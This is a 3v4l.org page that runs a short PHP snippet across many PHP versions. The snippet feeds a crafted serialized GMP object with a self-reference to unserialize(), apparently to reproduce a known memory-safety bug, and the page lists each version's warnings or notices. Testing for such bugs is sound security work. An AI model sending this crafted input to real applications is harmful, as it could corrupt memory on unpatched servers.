3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $inner = 's:1:"0";a:1:{i:0;r:1;}'; $exploit = unserialize('C:3:"GMP":'.strlen($inner).':{'.$inner.'}');
based on oJvft
Output for 5.3.0 - 5.5.35, 5.6.21, 7.0.6, 7.3.0alpha1
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/sBYp2 on line 4
Output for 5.6.8 - 5.6.20, 5.6.28 - 7.0.5, 7.0.14 - 7.2.6
Output for 5.1.0 - 5.2.17
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/sBYp2 on line 4 Notice: unserialize(): Error at offset 8 of 37 bytes in /in/sBYp2 on line 4
Output for 4.3.2 - 5.0.5
Notice: unserialize(): Error at offset 0 of 37 bytes in /in/sBYp2 on line 4
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 0 of 37 bytes in /in/sBYp2 on line 4